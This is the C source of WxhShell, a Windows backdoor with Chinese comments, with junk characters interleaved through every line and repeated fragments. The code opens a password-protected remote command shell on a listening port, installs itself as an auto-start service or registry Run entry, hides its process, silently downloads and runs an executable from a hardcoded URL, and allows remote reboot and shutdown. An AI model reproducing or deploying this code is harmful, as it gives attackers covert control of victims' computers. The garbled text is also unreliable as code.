; nfMQ3KP 8"g.Z* HANDLE hProcess; #5x[Z[m PROCESS_BASIC_INFORMATION pbi; N;6WfdA- H A(e HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lqv5"r7eV if(NULL == hInst ) return 0; Q!VPk~~( Y-WYQ{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q[k7taoy g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~IKPi==@, NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); If_S_A c JOIbxU{U_ if (!NtQueryInformationProcess) return 0; &~7b-foCq A@0%7xm hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^KJIT3J(# if(!hProcess) return 0; Gm.n@U p ryq95<lF if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y?z@)cL +cVnF&@$ CloseHandle(hProcess); j5:{H4? XK>/i}y hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YFCP'J"Z if(hProcess==NULL) return 0; jo4*,B1x ` `A=p<W HMODULE hMod; V4OhdcW{ char procName[255]; /*bS~7f1 unsigned long cbNeeded; ?Q]{d'g(sx j [h4F"`- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r^k:$wJbRK l*]*.?m/5 CloseHandle(hProcess); GiN\nu<! ccJ@jpXI if(strstr(procName,"services")) return 1; // 以服务启动 #U NTD4 TK;*:K8oe return 0; // 注册表启动 <"@~
} Nd~?kZZu %Y` @>P' // 主模块 )-2o}KU]> int StartWxhshell(LPSTR lpCmdLine) E
VBB:*q6 { +]Y&las SOCKET wsl; DH_Mll> BOOL val=TRUE; Vet7a_ int port=0; "Kz=ZC struct sockaddr_in door; 4cql?W (D ?s("@dz_ if(wscfg.ws_autoins) Install(); d"|XN{ V>j6Juh port=atoi(lpCmdLine); lV-7bZ )dJaF#6j if(port<=0) port=wscfg.ws_port; RvYH(!pQ # a
'h, WSADATA data; m[C-/f^u| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; */n)_ 9(Vq@.;Z`j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /}Y>_87 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [BHf> door.sin_family = AF_INET; Mrp'wF
D door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8Z!+1b door.sin_port = htons(port); k|,pj^ F+_4Q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PqIGc closesocket(wsl); H>[1DH#b return 1; QtQku1{ } n~l )7_G 8| zR8L if(listen(wsl,2) == INVALID_SOCKET) { ;5A&[]@^^@ closesocket(wsl); a2*WZc` return 1; {hX.R } dx@#6Fhy Wxhshell(wsl); %lchz/ WSACleanup(); W 0Q-&4 X|H%jdta return 0; T"'"T]^
X Ay!=Yk^~ } vt[4"eU 8h~v%aZ1 // 以NT服务方式启动 uRKCvsi sX VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A8hj"V47 { sf]y\_zU DWORD status = 0; #"6(Q2|
l DWORD specificError = 0xfffffff; EW1L!3K s@f4f__(] serviceStatus.dwServiceType = SERVICE_WIN32; l0g#&V-- serviceStatus.dwCurrentState = SERVICE_START_PENDING; rB|D^@mG serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7Rj!vj/ serviceStatus.dwWin32ExitCode = 0; ,*r"cmz serviceStatus.dwServiceSpecificExitCode = 0; Y2j>lf?8 serviceStatus.dwCheckPoint = 0; L*9^-, serviceStatus.dwWaitHint = 0; n6[bF"v r^&{0c&o hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 46*o_A,"
if (hServiceStatusHandle==0) return; tn;e
PcU 6z"fBF status = GetLastError(); $GUSTV if (status!=NO_ERROR) XZA3TZ { X",fp serviceStatus.dwCurrentState = SERVICE_STOPPED; %WCA?W0:4 serviceStatus.dwCheckPoint = 0; Vf*!m~]Vqi serviceStatus.dwWaitHint = 0; y%=\E serviceStatus.dwWin32ExitCode = status; :N%cIxrqP serviceStatus.dwServiceSpecificExitCode = specificError; /H@k;o SetServiceStatus(hServiceStatusHandle, &serviceStatus); WKqNJN C return; cg<10KT } +GgWd=X.Y ji`N1e,l serviceStatus.dwCurrentState = SERVICE_RUNNING; g||{Qmr=1 serviceStatus.dwCheckPoint = 0;
SMk{159q& serviceStatus.dwWaitHint = 0; ?b:J6(- if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Zjnf6d] } |v}"UW(y ,m!j2H}8 // 处理NT服务事件,比如:启动、停止 R*E/E VOID WINAPI NTServiceHandler(DWORD fdwControl) H]Q Z4( { 9IMtqL& switch(fdwControl) 0kpRvdEr- { ?)7uwJsH case SERVICE_CONTROL_STOP: Et%s,zeA{2 serviceStatus.dwWin32ExitCode = 0; x';6 serviceStatus.dwCurrentState = SERVICE_STOPPED; <[?oP[ j serviceStatus.dwCheckPoint = 0; 9C$b^wHd serviceStatus.dwWaitHint = 0; 8=T;R&U^M { pQ*9)C SetServiceStatus(hServiceStatusHandle, &serviceStatus); U#+S9jWe } E$34myOVf return; iquB]z' case SERVICE_CONTROL_PAUSE: "a-Ex ] serviceStatus.dwCurrentState = SERVICE_PAUSED; 7s,IT8ii break; t'_Hp}, case SERVICE_CONTROL_CONTINUE: Z~~{!C+G serviceStatus.dwCurrentState = SERVICE_RUNNING; I_'S|L break; }-)2CEj3L% case SERVICE_CONTROL_INTERROGATE: [U]*OQH`e break; uezqC=v$h }; Vur$t^zE SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,`G8U/ } %U)/>Z $91c9z;f^ // 标准应用程序主函数 D.j'n-yw int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) - P1OD)B { ~o= Sxaf oU$Niw9f // 获取操作系统版本 {IYfq)c OsIsNt=GetOsVer(); gf2l19aP GetModuleFileName(NULL,ExeFile,MAX_PATH); $=4T# W=m nu}$wLM // 从命令行安装 PNd]Xmv) if(strpbrk(lpCmdLine,"iI")) Install(); O!lZ%j@% R?Ki~'k= // 下载执行文件 Z BcZG if(wscfg.ws_downexe) { 26yv w if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '73dsOTIT WinExec(wscfg.ws_filenam,SW_HIDE); J8J~$DU\Gv } iRS )Z) ?zQ\u{]= if(!OsIsNt) { #!OCEiT_ // 如果时win9x,隐藏进程并且设置为注册表启动 KFdV_e5lU HideProc(); nyi}~sB StartWxhshell(lpCmdLine);
b~Op1p } f`.8.1Rd else O>wGc8Of\ if(StartFromService()) `ndesP // 以服务方式启动 xSs);XO, StartServiceCtrlDispatcher(DispatchTable); IwKhun else ^L+*}4Dr // 普通方式启动 b>hNkVI StartWxhshell(lpCmdLine); =;7gxV3; +b.<bb6 return 0; (LA%q6 } m(s(2wq"f G`8gI)$u iP~5= LpGplDlB =========================================== #gMMhB= #Bg88!-4 CuR\JKdRo ]IoJ(4f '+?AaR&p? ,fpu@@2 " e ,/I}W u&/q7EBfP #include <stdio.h> l{>fma]7 #include <string.h> $]%;u: Sa #include <windows.h> /WRS6n #include <winsock2.h> 2BXpk^d5y #include <winsvc.h> z~L''X7g #include <urlmon.h> }Xr-xh\v w0)V3 #pragma comment (lib, "Ws2_32.lib") 4[
M!x #pragma comment (lib, "urlmon.lib") {2vk< lTvI;zy #define MAX_USER 100 // 最大客户端连接数 ,3.E]_3xX #define BUF_SOCK 200 // sock buffer ]{{A/ j\ #define KEY_BUFF 255 // 输入 buffer N#Y%+1 h=.|!u #define REBOOT 0 // 重启 nW3-)Q89 #define SHUTDOWN 1 // 关机 yMq&9R9F 8V >j-C #define DEF_PORT 5000 // 监听端口 .mn`/4 NKvBNf|D #define REG_LEN 16 // 注册表键长度 dFS>uIT7X #define SVC_LEN 80 // NT服务名长度 +(x^5~QX &M,a+|yuY // 从dll定义API cTCo~Pk4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MIo<sJuv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k*(c8/<.d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); upg? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U":hJ*F) vp?87h // wxhshell配置信息 t
9&xk?%{ struct WSCFG { ((Ak/ qz int ws_port; // 监听端口 ;&q}G1 char ws_passstr[REG_LEN]; // 口令 NeAkJG=< int ws_autoins; // 安装标记, 1=yes 0=no svCD&~|K# char ws_regname[REG_LEN]; // 注册表键名 9h>nP8 char ws_svcname[REG_LEN]; // 服务名 XAW$"^p char ws_svcdisp[SVC_LEN]; // 服务显示名 >G$8\&]j char ws_svcdesc[SVC_LEN]; // 服务描述信息 Bw;sg; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (MY#;v\AYE int ws_downexe; // 下载执行标记, 1=yes 0=no n1m[7s.[& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" btHN char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Py$Q]s?\1 {YC!pDG }; VR ^qwS/ f.JZ[+ // default Wxhshell configuration mE'y$5ZxY struct WSCFG wscfg={DEF_PORT, ye:pGa w "xuhuanlingzhe", -G e5gQ= 1, rZ2X$FO@ "Wxhshell", b6:A-jb*I "Wxhshell", PElC0qCn[ "WxhShell Service", <cNXe4( "Wrsky Windows CmdShell Service", WSi`)@.XO "Please Input Your Password: ", J(JsfU4 1, u~[HC)4(0 "http://www.wrsky.com/wxhshell.exe", fuSfBtLPR# "Wxhshell.exe" ^e:C{]S= }; +%Q: ,A`d!{]5 // 消息定义模块 $}V<Um char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1rKKp h char *msg_ws_prompt="\n\r? for help\n\r#>"; &E0L7?l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6E/>]3~! char *msg_ws_ext="\n\rExit."; wwrP7T+d char *msg_ws_end="\n\rQuit."; dE19_KPm[j char *msg_ws_boot="\n\rReboot..."; "[2CV!_ char *msg_ws_poff="\n\rShutdown..."; l*>t@:2J char *msg_ws_down="\n\rSave to "; 'KB\K)cD=3 6w(Mb~[n char *msg_ws_err="\n\rErr!"; +KgoL a char *msg_ws_ok="\n\rOK!"; ZUP\)[~ M #'br<] char ExeFile[MAX_PATH]; x;)bp7 int nUser = 0; L9Sd4L_e HANDLE handles[MAX_USER]; W2/FGJD int OsIsNt; #N^TqOr \95qH,w)T SERVICE_STATUS serviceStatus; =F'p#N0_2 SERVICE_STATUS_HANDLE hServiceStatusHandle; >}Qj|05G Ec
IgX_\ // 函数声明 9pUvw_9MY int Install(void); fZ1v| int Uninstall(void); :f%FM&b int DownloadFile(char *sURL, SOCKET wsh); %E#OUo[y/ int Boot(int flag); #<0Yx9Jh. void HideProc(void); ,Tc3koi int GetOsVer(void); 5OeTOI()&5 int Wxhshell(SOCKET wsl); )]WWx-Uf' void TalkWithClient(void *cs); `Fa49B|`D int CmdShell(SOCKET sock); gwhd) .* int StartFromService(void); 1{l18B` int StartWxhshell(LPSTR lpCmdLine); Ri4t/H kR$>G2$! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Wt5x*p-!C VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0zm)MSg
R)i // 数据结构和表定义 y6NOHPp@ SERVICE_TABLE_ENTRY DispatchTable[] = ie|I*;# { $*
1?"$LN {wscfg.ws_svcname, NTServiceMain}, RapHE; < {NULL, NULL} F}3<q }; !`=ms1%U e9e%8hL // 自我安装 n@n608 int Install(void) #:C;VAAp { ASmMj;>UM char svExeFile[MAX_PATH]; <"A|Xv'Q HKEY key; ^?PU:eS strcpy(svExeFile,ExeFile); jJFWPD]u <i{O\K]9 // 如果是win9x系统,修改注册表设为自启动 N<lejZ}!q if(!OsIsNt) { w1HE^
/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rt">xVl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <X[TjP RegCloseKey(key); h/~:}Bof if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r>73IpJI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #p&&w1 RegCloseKey(key); !Ic;;< return 0; 4;"^1 $ } r_C|gfIP } 0\v98g<[+ } J-*&& else { W}m-5L ! |SPOk // 如果是NT以上系统,安装为系统服务 3jF#f'* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q-s! hiK if (schSCManager!=0) 0#(K}9T) {
Y g>W.wA SC_HANDLE schService = CreateService &y`
MDyXz ( GT\,
@$r schSCManager, 3TUW+#[Gu wscfg.ws_svcname, i`[5%6\"& wscfg.ws_svcdisp, 'J^ M`/ SERVICE_ALL_ACCESS, bwh7.lDAl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pR_cI]{=SA SERVICE_AUTO_START, [ZwZGAP SERVICE_ERROR_NORMAL, yMdEH-?/ svExeFile, hZGoiWC NULL, d:/8P985 NULL, W: Rs 0O NULL, @L^Fz$Sx NULL, .d<
+-w2Mu NULL <viIpz2jh% ); A
?"(5da. if (schService!=0) _&S?uz m { ;>^oe:@ CloseServiceHandle(schService); R=M"g|U6 CloseServiceHandle(schSCManager); 0kN;SSX! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JA W}]:jC strcat(svExeFile,wscfg.ws_svcname); tX;00g;U. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4d&#NP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o(xRq;i RegCloseKey(key); #_yQv? J return 0; rfqw/o } xdWfrm$;ZA } (Wkli:Lq CloseServiceHandle(schSCManager); |1^>n,C } _^4\z*x } 1*S5:7Tb p:M#F: return 1; lB!`,>"c } eUQ., mP !:e|M|T'I* // 自我卸载 <>aBmJs4 int Uninstall(void) 5 e:Urv77 { )6|7L)Dk HKEY key; jvx9b([<sG J6x\_]1:* if(!OsIsNt) { &tY3nr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4 -)'a} O RegDeleteValue(key,wscfg.ws_regname); T1zft#1~ RegCloseKey(key); rQiX7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FFXDt"i2 RegDeleteValue(key,wscfg.ws_regname); SNP.n)) RegCloseKey(key); d_9Fc"C~ return 0; Hj
]$ } PoMkFG6 } /x.TF'Z* } Q,Tet&in ) else { ]2G5ng' @ 6cof Zc$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >}QRMn|@H if (schSCManager!=0) w?CbATQ { y e!Bfz> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EM/NT/ if (schService!=0) f@l 6]z{.L { D|I(2%aC if(DeleteService(schService)!=0) { kTQ:k
}%B CloseServiceHandle(schService); A7U'>r_. CloseServiceHandle(schSCManager); CG'NC\x5 return 0; &{QB}r } &SS"A*xg CloseServiceHandle(schService); Lm+!/e } 8?] :> CloseServiceHandle(schSCManager);
'$Jt}O } eydVWVN } J5L P#o(V $mm =$. return 1; r`u}n } }_XW?^/8 sh.xp8^)^> // 从指定url下载文件 :1u>T3L.z int DownloadFile(char *sURL, SOCKET wsh) khT&[!J{> { ,CW]d#P| HRESULT hr; o
D; char seps[]= "/"; `;fh<kv char *token; PK1j$&F char *file; hT6:7_UD char myURL[MAX_PATH]; *ggTTHy char myFILE[MAX_PATH]; GkMNV7"m T#Pz_
hAu strcpy(myURL,sURL); 04tUf3> token=strtok(myURL,seps); "?,3O2t while(token!=NULL) FD(zj ^* { 6QdNGpN file=token; ANSv ZqKh token=strtok(NULL,seps); FtN1ZZ"<* } `7jm Fk D GetCurrentDirectory(MAX_PATH,myFILE); mOwgk7s[J strcat(myFILE, "\\"); s#w+^Mw$ strcat(myFILE, file); Qo send(wsh,myFILE,strlen(myFILE),0); "M6a_rZ2W send(wsh,"...",3,0); FW7+!A&F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ff>Y<7CQ
v if(hr==S_OK) pH#&B_S6z= return 0; b
qB[vPsI else R7*Jb-;$! return 1; Wq)'0U;{$ 1=#r$H } $oE 4q6b $gDp-7 // 系统电源模块 X[k-J\ int Boot(int flag) A(_AOoA' { B%6bk. HANDLE hToken; L5T)_iQ5 TOKEN_PRIVILEGES tkp; ^
vI| R+]p
-NI^ if(OsIsNt) { %9M; MK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Oc
:x LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $o\p["DP tkp.PrivilegeCount = 1; 3iYz<M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yWIieztp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GG"0n{>0 if(flag==REBOOT) { o0 -e,F>u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XBhWj\`(T return 0; QOuy(GY
} bI[!y#_z4 else { N-^\X3X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /iif@5lw{ return 0; +Smv<^bW } |}Mkn4 } sxL;o>{ else { ]wne2 WXE if(flag==REBOOT) { mXc/sh")X if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N=D
Ynz_~ return 0; 4:r^6m%% } zq!2);, else { $Fz/&;KX! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ([|5(Omd\ return 0; m?<8 ': } R
$'}Z } 3FPy"[[ &Wd,l$P<O return 1; 2?t(%uf] } e::5|6x hPr // win9x进程隐藏模块 #!#V!^ o void HideProc(void) d\;M F { dMGu9k~u 3\=8tg p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HKOJkbVZ2^ if ( hKernel != NULL ) !P@u4FCs { QX%m4K/a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <eN>X:_N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uNd ;;X FreeLibrary(hKernel); @<vDR"> } 0IDHoNaT< 0O-p(L= return; 9Z*` { } R5]R
pW=G %h|z) // 获取操作系统版本 #PXl*~PrQ/ int GetOsVer(void) |D]jdd@!a2 { q4Ye OSVERSIONINFO winfo; |<y[gj4`T/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KH pxWq GetVersionEx(&winfo); W\eB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w2{k0MW return 1; /2'\ya4B else F!]UaEmV return 0; eg(xN/D } {h9#JMIA ! FHNKh // 客户端句柄模块 9k 7|B>LT int Wxhshell(SOCKET wsl) "6Dz~5 { nt;A7pI` SOCKET wsh; }QJE9;<e struct sockaddr_in client; Slv}6at5 DWORD myID; ~fCD#D2KU Fg#*rzA while(nUser<MAX_USER) 0RoI`>j' { 8w2+t>? int nSize=sizeof(client); gFDP:I/` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,?&hqM\ if(wsh==INVALID_SOCKET) return 1; ?'T>/<( 7%7_i%6wP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tm]75*? if(handles[nUser]==0) fiw~"2U closesocket(wsh); B|extWwu else z[t$[Qg nUser++; ybS7uo } J|xqfY@+ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a*SJHBB qsJA|z&6x return 0; QJ"Bd`wc } vpXS!o>/Sn 6bb=; // 关闭 socket VKN^gz void CloseIt(SOCKET wsh) {xM%3 { ~]"}s(J; closesocket(wsh); Q;5\( 0w5 nUser--; $oxPmELtpe ExitThread(0); *39sh[*} } 3N]pN<3@ _&F6As
!{ // 客户端请求句柄 /o|@]SAe. void TalkWithClient(void *cs) e'\I^'`!M { vjXvjv{t ir]u FOj SOCKET wsh=(SOCKET)cs; R4IFl
z char pwd[SVC_LEN];
xY!]eLZ)& char cmd[KEY_BUFF]; ~Zj?%4 char chr[1]; h+Q== int i,j; k.lnG5e mD )Nh while (nUser < MAX_USER) { E#HO0]S r,b if(wscfg.ws_passstr) { ;OdUH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'kh%^_FH7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ahV_4;yF //ZeroMemory(pwd,KEY_BUFF); (b{
{B$O i=0; {.!:T+'Xi\ while(i<SVC_LEN) { mDM]RAub) }*R"yp // 设置超时 :m37Fpz&b fd_set FdRead; 8tdUnh%/ struct timeval TimeOut; "%.#/!RG FD_ZERO(&FdRead); 3}h&/KN{ FD_SET(wsh,&FdRead); .Zwn{SMtu TimeOut.tv_sec=8; Np/[MC TimeOut.tv_usec=0; iOJgZuP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }VFSF/\^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c89RuI `B~ |Zt=8}di if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jM7}LV1Ck pwd=chr[0]; MI@ RdXkY if(chr[0]==0xd || chr[0]==0xa) { zM@iG]?kc pwd=0; 2<988F break; *50Ykf } Aga7X@fV( i++; hVGakp9WE } ho(Y?'^t3 _O rE{ // 如果是非法用户,关闭 socket Y/$SriC_+' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jx{,x-I } X,OxvmDm _X]? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |/<iydP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m.^6ef @C!q S7k) while(1) { ED$gnFa3I gf3/ kll9 ZeroMemory(cmd,KEY_BUFF); 8wy"m=>=b} ]7VK&YfN // 自动支持客户端 telnet标准 /S;?M\ j=0; }Ns_RS$ while(j<KEY_BUFF) { sP+S86
u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BFEo:!'F cmd[j]=chr[0]; NKB!_R+ if(chr[0]==0xa || chr[0]==0xd) { HFDg@@ cmd[j]=0; ]3I_H+hU break; N9*$' } tP:xx2N_ j++; DX!$k[ } 6g.@I!j E )b-G2< kb // 下载文件 zh4o<f:- if(strstr(cmd,"http://")) { R-h7c!ko send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tl1?5 if(DownloadFile(cmd,wsh)) ~]yqJYiid^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); my} P\r. else .9ROa#7U;n send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S3=J1R, } Bo0y"W[+ else { jxoEOEA 9z-"JnM switch(cmd[0]) { pTN_6=Y" sV+>(c-$ // 帮助 *o>E{ case '?': { B#gmT2L send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); es6e-y@e break; pE`(kD } +X?jf.4 // 安装 `C()H@; case 'i': { gTq-\k( if(Install()) +amvQ];?Q8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); awawq9)Y else *PI3L/* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Uf`w7"iY break; O7K))w }
h!Q>h7 // 卸载 _AO0:& case 'r': { lu{}j4 if(Uninstall()) :#L B}=HQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); dHu]wog else Ltj}>.+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l-Xxv break; RS:0xN\JN } MVj@0W33m // 显示 wxhshell 所在路径 Z/I!\ case 'p': { eGE%c1H9a char svExeFile[MAX_PATH]; |-R::gm strcpy(svExeFile,"\n\r"); f>'7~69 strcat(svExeFile,ExeFile); H}@|ucM"\ send(wsh,svExeFile,strlen(svExeFile),0); yO($KL+ break; W`\H3?C`xQ } ~\/ J& // 重启 y#MLxm case 'b': { a=J?[qrx send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CVUDN2 if(Boot(REBOOT)) A1@-;/H3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); YU"Am ! else { CJC|%i3 closesocket(wsh); \x+DEy'4;5 ExitThread(0); @<2pYIi8 } *p-Fn$7\n break; 7q?YdAUz } <
d]|5 // 关机 kal8k-$# case 'd': { 2iGRw4`_a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p"JSYF
9] if(Boot(SHUTDOWN)) EW!$D send(wsh,msg_ws_err,strlen(msg_ws_err),0); AVJk else { dnx}c4P closesocket(wsh); GGBe/X ExitThread(0); a~%ej.)l } _c&*'IY[V break; ^Y&Cm.w } ^d"J2n,7L // 获取shell oaKf{$vg case 's': { V":BAn CmdShell(wsh);
Ntqc=z closesocket(wsh); 70NHU;&N ExitThread(0); k`t'P6
bU break; ceOjuzY } 8x{vgx @M // 退出 wv7jh~x(4 case 'x': { cC[n~OV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k@~-|\ooG CloseIt(wsh); B -KOf break; -{wuF0f } T/K.'92S // 离开 $i1A470C case 'q': { \(CW?9) send(wsh,msg_ws_end,strlen(msg_ws_end),0); }.'%gJrS closesocket(wsh); !vB%Q$!x WSACleanup(); 5B2,=?+o exit(1); R',w~1RV' break; zbR.Lb } d3$<|mG$ } 4Rm3'Ch } 7L]?)2= yjO7/<2 // 提示信息 9JtvHUkO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D6]$P%t9 } %8tN$8P } )L!R~F
C =gn}_sKNE return; +E:(-$"R } vraU&ze\1 q+z\Y? // shell模块句柄 ;!}SgzSH} int CmdShell(SOCKET sock) S3'g(+S { U,M,E@ STARTUPINFO si; NQJqS?^W&M ZeroMemory(&si,sizeof(si)); p^:Lj 9Qax si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [w/t si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J*Hn/m PROCESS_INFORMATION ProcessInfo; d{hYT\7~1( char cmdline[]="cmd"; G"[pr%? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6'ZnyWb return 0; M;Rw]M } gB(W`:[ 9O Q4\ // 自身启动模式 Ib\G{$r int StartFromService(void) WK}+f4tdW[ { =QfKDA typedef struct GN9_ZlC { 9/M!S[N9 DWORD ExitStatus; ?>8zU;Aj DWORD PebBaseAddress; #[W[|m DWORD AffinityMask; I`TD*D DWORD BasePriority; !S!03| ULONG UniqueProcessId; @qDrTH]5 ULONG InheritedFromUniqueProcessId; @,&m`qzd+ } PROCESS_BASIC_INFORMATION; ?GarD3#A
D.o|($S0 PROCNTQSIP NtQueryInformationProcess; 3R*@m X-,y[ ) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5)7mjyo% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /vDF<HVzm S7/v,E HANDLE hProcess; \,!q[nC PROCESS_BASIC_INFORMATION pbi; fti|3c 1^#Q/J, HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bqi2n'^O2 if(NULL == hInst ) return 0; *`-29eR"8 zjS:;!8em g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cmU+VZ#pk g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h3EDN:FQ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1$VI\} E@6r{uZ# if (!NtQueryInformationProcess) return 0; T:">,*| Iq]6] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pu*HZW3l if(!hProcess) return 0; 8VmN?"5v 1!wEXH( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &i^NStqu yn[ZN-H~ CloseHandle(hProcess); U_;J.{n 9sj W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8@KFln )[ if(hProcess==NULL) return 0; pf@}4PN} 